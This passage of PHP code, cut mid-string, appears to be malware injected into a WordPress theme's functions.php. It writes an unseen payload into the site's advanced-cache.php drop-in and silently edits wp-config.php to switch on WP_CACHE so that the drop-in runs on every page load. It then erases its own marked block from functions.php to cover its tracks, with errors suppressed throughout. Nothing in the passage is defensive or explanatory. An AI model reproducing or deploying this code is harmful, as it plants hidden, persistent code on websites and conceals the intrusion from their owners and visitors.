'; $s = strpos($fc, $m); $e = strrpos($fc, $m); if ($s !== false && $e !== false && $s !== $e) { $clean = rtrim(substr($fc, 0, $s) . substr($fc, $e + strlen($m))) . "\n"; @file_put_contents($func_file, $clean); } } } }, 1); $ac = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR . '/advanced-cache.php' : ABSPATH . 'wp-content/advanced-cache.php'; @file_put_contents($ac, $code); $wpc = ABSPATH . 'wp-config.php'; if (file_exists($wpc) && is_writable($wpc)) { $cfg = @file_get_contents($wpc); if ($cfg && !preg_match('/define.*WP_CACHE.*true/i', $cfg)) { $cfg = preg_replace('/(\<\?php)/i', "\$1\ndefine('WP_CACHE',true);", $cfg, 1); @file_put_contents($wpc, $cfg); } } $func_file = get_template_directory() . '/functions.php'; $fc = @file_get_contents($func_file); if ($fc) { $m = '/* __dropin_deployer__ */'; $s = strpos($fc, $m); $e = strrpos($fc, $m); if ($s !== false && $e !== false && $s !== $e) { @file_put_contents($func_file, rtrim(substr($fc, 0, $s) . substr($fc, $e + strlen($m))) . "\n"); } } }, 1); /* __dropin_deployer__ */